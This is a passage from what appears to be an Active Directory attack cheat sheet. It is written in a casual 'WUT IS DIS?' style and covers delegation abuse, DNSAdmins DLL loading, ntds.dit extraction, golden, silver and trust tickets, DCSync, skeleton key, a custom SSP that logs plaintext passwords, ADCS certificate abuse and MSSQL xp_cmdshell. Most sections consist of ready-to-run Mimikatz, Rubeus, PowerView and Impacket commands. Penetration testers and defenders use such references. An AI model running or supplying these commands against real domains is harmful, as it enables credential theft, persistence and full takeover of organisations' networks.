In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

Resource Based Constrained Delegation

WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:

First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength) 
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Detailed Articles:

 In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

DNSAdmins Abuse

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.

  1. Enumerate the members of the DNSAdmins group:
    • PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
    • AD Module: Get-ADGroupMember -Identiny DNSAdmins
  2. Once we found a member of this group we need to compromise it (There are many ways).
  3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
    #Using dnscmd:
    dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
    
    #Restart the DNS Service:
    sc \\DNSServer stop dns
    sc \\DNSServer start dns
    

Abusing Active Directory-Integraded DNS

Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.

  1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
#Create a .txt file that will contain the shadow copy process script
Script ->{
set context persistent nowriters  
set metadata c:\windows\system32\spool\drivers\color\example.cab  
set verbose on  
begin backup  
add volume c: alias mydrive  
 
create  
  
expose %mydrive% w:  
end backup  
}

#Execute diskshadow with our script as parameter
diskshadow /s script.txt
  1. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:
#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
  
#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege
  
#If it isn't we enable it
Set-SeBackupPrivilege
  
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite
  
#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive 
  1. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
  2. Use secretsdump.py from impacket and dump the hashes.
  3. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange

Weaponizing Printer Bug

Abusing ACLs

Abusing IPv6 with mitm6

SID History Abuse

WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.

Exploitation example:

#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID
Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain
dir \\dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all

Detailed Articles:

Exploiting SharePoint

Zerologon

PrintNightmare

Active Directory Certificate Services

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well

.\Certify.exe find /vulnerable /quiet

Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.

Request the DA's Account Certificate with Certify

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

This should return a valid certificate for the associated DA account.

The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

#Utilize openssl to Convert to PKCS #12 Format

The openssl command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)

After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to request a Kerberos TGT for the DA account which will then be imported into memory.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC

Domain Persistence

Golden Ticket Attack

#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync Attack

#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip:
/ptt -> inject ticket on current running session
/ticket -> save the ticket on the system for later use

Silver Ticket Attack

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN List

Skeleton Key Attack

#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

#Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

DSRM Abuse

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!

Custom SSP

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Cross Forest Attacks

Trust Tickets

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

⚠️ The access we will have will be limited to what our DA account is configured to have on the other Forest!

Using Mimikatz:

#Dump the trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:  
<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
<PathToSaveTheGoldenTicket>"'

 Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

Using Rubeus:

.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

Abuse MSSQL Servers

  • Enumerate MSSQL Instances: Get-SQLInstanceDomain
  • Check Accessibility as current user:
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
  • Abusing SQL Database Links:
    WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:

#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose
     
#MSSQL Query:
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')
     
#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose
     
#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

Breaking Forest Trusts

WUT IS DIS?:
TL;DR
If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.

Tools we are going to use:

Exploitation example:

#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all 

Detailed Articles: